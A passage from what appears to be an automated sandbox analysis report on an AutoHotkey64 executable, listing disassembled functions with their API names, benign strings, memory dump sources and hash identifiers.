                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID: wait
                                                              • API String ID: 130734711-2112783333
                                                              • Opcode ID: c6991e72b72c96c440cb9a0ab71d3f4f2c231cb1769072a6e8ada75a7fa18175
                                                              • Instruction ID: e26aee02ff944b136afd9371b1a23e5cadc8ee9482f7180c764f4f08b923d6cb
                                                              • Opcode Fuzzy Hash: c6991e72b72c96c440cb9a0ab71d3f4f2c231cb1769072a6e8ada75a7fa18175
                                                              • Instruction Fuzzy Hash: 14A1D6B160464486FB628B27E4443E937E1F74DBE4F120226FB59A3AF6DB38C485C705
                                                              Function 0000000140045AF6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Parameter #1 invalid.
                                                              • API String ID: 1623861271-1208927624
                                                              • Opcode ID: 411c775a3cee27c41a72e1195868406ef2f602358e2578de02c04dfc999aebf2
                                                              • Instruction ID: b35a3b146edcc72b8a9b808be3874802647250798aa371186021cf01367e2050
                                                              • Opcode Fuzzy Hash: 411c775a3cee27c41a72e1195868406ef2f602358e2578de02c04dfc999aebf2
                                                              • Instruction Fuzzy Hash: DB91C4B160464486F7668B27E4843E937A1F78DBE4F110226FB5963AF6DB38C490C745
                                                              Function 000000014004632F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 189windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Parameter #1 invalid.
                                                              • API String ID: 1623861271-1208927624
                                                              • Opcode ID: ed043b90310eed74ac007a92e3cf1cb6314b29195448263a935734378b50bc86
                                                              • Instruction ID: f8e2813c2b9cf1b62d8dbb7b73e7df292c07e64cee8880ac718404b74ba48636
                                                              • Opcode Fuzzy Hash: ed043b90310eed74ac007a92e3cf1cb6314b29195448263a935734378b50bc86
                                                              • Instruction Fuzzy Hash: 8EA1B3B160464486F7668F27E4843E937A1F38DBE4F11022AFB59A3AF6DB38C490C745
                                                              Function 0000000140046394 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 188windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID: Parameter #1 invalid.
                                                              • API String ID: 1623861271-1208927624
                                                              • Opcode ID: 3318d78d6267bd8fa4a591146dbbb362da6e9558756fb6de313248fae468cac2
                                                              • Instruction ID: 91318c2450a41b03aa521e94dd5398c2d9e95177b8b9eb795db892dd479ba924
                                                              • Opcode Fuzzy Hash: 3318d78d6267bd8fa4a591146dbbb362da6e9558756fb6de313248fae468cac2
                                                              • Instruction Fuzzy Hash: CB91A3B160464486F7668B27E4843D937A1F38DBE4F11022AFB59A7BF6DB38C490CB45
                                                              Function 0000000140045A12 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 184windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseGlobalMessagePeekUnlock_errno_invalid_parameter_noinfo
                                                              • String ID: Play
                                                              • API String ID: 130734711-4273697156
                                                              • Opcode ID: 1e501d3505acd41b836b9ad4590c9e31d6fe987f74a5d80c219928c8c7360f60
                                                              • Instruction ID: 66ec0038dee778ed83d267e54b70ea6ffa993154cc6b85979dede8fb858e7a56
                                                              • Opcode Fuzzy Hash: 1e501d3505acd41b836b9ad4590c9e31d6fe987f74a5d80c219928c8c7360f60
                                                              • Instruction Fuzzy Hash: 2091B2B160464486F7668B27E4843E937A1F38DBE4F11022AFB59A3AF6DB38C490C705
                                                              Function 00000001400433A0 Relevance: 12.3, APIs: 8, Instructions: 264windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CharCountTick$ClipboardCloseGlobalLowerMessagePeekUnlockUpper
                                                              • String ID:
                                                              • API String ID: 1737845391-0
                                                              • Opcode ID: 8298c6b8f40bf3d507f3fdf3717492e152b92cbbc63a324213a14ed80d7c6803
                                                              • Instruction ID: 913cbdc755a4eed9dfa84c83336ae9f703f8e5b1b872e1b35a791116c2ed9a03
                                                              • Opcode Fuzzy Hash: 8298c6b8f40bf3d507f3fdf3717492e152b92cbbc63a324213a14ed80d7c6803
                                                              • Instruction Fuzzy Hash: 2CD1B1B260468485FB638F27E4443E937A1E78DBE4F120226FB59636F6DB38C885C744
                                                              Function 0000000140045794 Relevance: 12.2, APIs: 8, Instructions: 182windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$Window$ClipboardCloseDestroyGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2997888913-0
                                                              • Opcode ID: cf3841789b8542876a624cbf7064db2453a6dc7f702c456fe3f74342894afa0a
                                                              • Instruction ID: 1a41dad759a5e38842f790023473bf3fe19d710772231ea194eeb2b712bb080b
                                                              • Opcode Fuzzy Hash: cf3841789b8542876a624cbf7064db2453a6dc7f702c456fe3f74342894afa0a
                                                              • Instruction Fuzzy Hash: A791C4B1600A4486F7568B27E8443E937E1F74DBE4F11022AEB59A3BF6DB38C490C745
                                                              Function 0000000140096C00 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 315COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: free
                                                              • String ID: Memory limit reached (see #MaxMem in the help file).$Out of memory.
                                                              • API String ID: 1294909896-457448710
                                                              • Opcode ID: 20a97dded2ee673152cd24021f324c9321f3d8d246c8a999c3df4884fabeaf0e
                                                              • Instruction ID: 6ec7fe4d4aad8c2026fff439752cd938816e95c095e3758a3996ec73c726aa59
                                                              • Opcode Fuzzy Hash: 20a97dded2ee673152cd24021f324c9321f3d8d246c8a999c3df4884fabeaf0e
                                                              • Instruction Fuzzy Hash: B8E1ABB6605BC081EB629B22F8107EA77A5F788BD8F440126FB9917BB8DB38C455C700
                                                              Function 0000000140040DA7 Relevance: 10.8, APIs: 7, Instructions: 267clipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: ClipboardCloseCountGlobalInfoTickUnlock
                                                              • String ID:
                                                              • API String ID: 3668674636-0
                                                              • Opcode ID: c406c6195a5fb721d7f0d2b283c30af304fe54f3ce4bb9551cd097d4c0b8698f
                                                              • Instruction ID: c424d5545e2850590be0638a1f74249e378e7ce6d5ffb12ad60fa2991127ebb3
                                                              • Opcode Fuzzy Hash: c406c6195a5fb721d7f0d2b283c30af304fe54f3ce4bb9551cd097d4c0b8698f
                                                              • Instruction Fuzzy Hash: B2E19072600B848AEB62CF26E8443D837A1F34DBA8F11422AEB5957BF5DB38C594C704
                                                              Function 0000000140041043 Relevance: 10.7, APIs: 7, Instructions: 237registrywindowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CloseCountTick$ClipboardGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 4107439908-0
                                                              • Opcode ID: bb88b4e355b392799bec45f805e714d2278f61b78fefad62898952488b2118c5
                                                              • Instruction ID: 8a0f2414704886ba157b3f1690c45c79614c88c85db7e58b9ec83da4435c4f47
                                                              • Opcode Fuzzy Hash: bb88b4e355b392799bec45f805e714d2278f61b78fefad62898952488b2118c5
                                                              • Instruction Fuzzy Hash: FAC18172604B848AFB628B67E8843D937A1F38DBE4F110126EB5967BF5DB38C491C704
                                                              Function 0000000140046148 Relevance: 10.7, APIs: 7, Instructions: 225registrywindowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: Close$CountTick$ClipboardCreateErrorGlobalLastMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 2674141723-0
                                                              • Opcode ID: c9617a70fa148fbae9c8d0135c40f58955d462ee783b6bd844df18078dc859f5
                                                              • Instruction ID: 199e9f249c141da11d0024d7ecb78ac6adb1becaa555f5a0b9de4e58f8dea485
                                                              • Opcode Fuzzy Hash: c9617a70fa148fbae9c8d0135c40f58955d462ee783b6bd844df18078dc859f5
                                                              • Instruction Fuzzy Hash: 20B19EB1604A8486F7668B27E8443D937A1F78DBE4F15022AEB5963BF6DB38C490C705
                                                              Function 00000001400460A6 Relevance: 10.7, APIs: 7, Instructions: 211registrywindowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CloseCountTick$ClipboardGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 4107439908-0
                                                              • Opcode ID: 2ce09cb45d5792a291d280a9c266234c2b65c37c6109d7def44372bbf857b158
                                                              • Instruction ID: 94d3782a6facd174323b77af5fcb85147c62923f7f906dac1f6ded5f8e3284d3
                                                              • Opcode Fuzzy Hash: 2ce09cb45d5792a291d280a9c266234c2b65c37c6109d7def44372bbf857b158
                                                              • Instruction Fuzzy Hash: 24B1B2B1604A8486FB668F27E4443E937A1F34DBE4F110226FB5963AF6DB38C494C745
                                                              Function 00000001400450E3 Relevance: 10.7, APIs: 7, Instructions: 206filewindowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseFileGlobalMessageMovePeekUnlock
                                                              • String ID:
                                                              • API String ID: 1818255640-0
                                                              • Opcode ID: 36605de429c19ab1063c162a19061c3cc2d2e7dfd0a9bb33a0a57ee6cf94b6ff
                                                              • Instruction ID: 06b6476b19a7d5d85748d3c53d7dd32bffc6071675c16681dd0eccaac493d187
                                                              • Opcode Fuzzy Hash: 36605de429c19ab1063c162a19061c3cc2d2e7dfd0a9bb33a0a57ee6cf94b6ff
                                                              • Instruction Fuzzy Hash: 51A1C2B160464486FB628B27E4843E937A1F78DBE4F120226FB5967BF6DB38C481C745
                                                              Function 0000000140044ED9 Relevance: 10.7, APIs: 7, Instructions: 196windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$BeepClipboardCloseGlobalMessagePeekUnlock
                                                              • String ID:
                                                              • API String ID: 3141429382-0
                                                              • Opcode ID: 47de0d4a4a0128ec425792652d48512c6815e4816f7d087c2d7d75bdb8aaa5f9
                                                              • Instruction ID: edd08f2428ca359657f060651c95d0372aafe9f08dbf599f56f4bb67f57f8772
                                                              • Opcode Fuzzy Hash: 47de0d4a4a0128ec425792652d48512c6815e4816f7d087c2d7d75bdb8aaa5f9
                                                              • Instruction Fuzzy Hash: 60A1A3B160464486F7668B27E4443E937A1F38DBE4F110226FB59A3BF6DB38C895C744
                                                              Function 0000000140045011 Relevance: 10.7, APIs: 7, Instructions: 188windowclipboardCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000013.00000002.4207518182.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true
                                                              • Associated: 00000013.00000002.4207473834.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207687115.0000000140103000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207803945.0000000140123000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207839316.0000000140126000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207876948.0000000140127000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207936740.0000000140130000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4207970093.0000000140139000.00000010.00000001.01000000.00000008.sdmpDownload File
                                                              • Associated: 00000013.00000002.4208001738.000000014013C000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_19_2_140000000_AutoHotkey64.jbxd
                                                              Similarity
                                                              • API ID: CountTick$ClipboardCloseEmptyGlobalMessagePeekRecycleUnlock
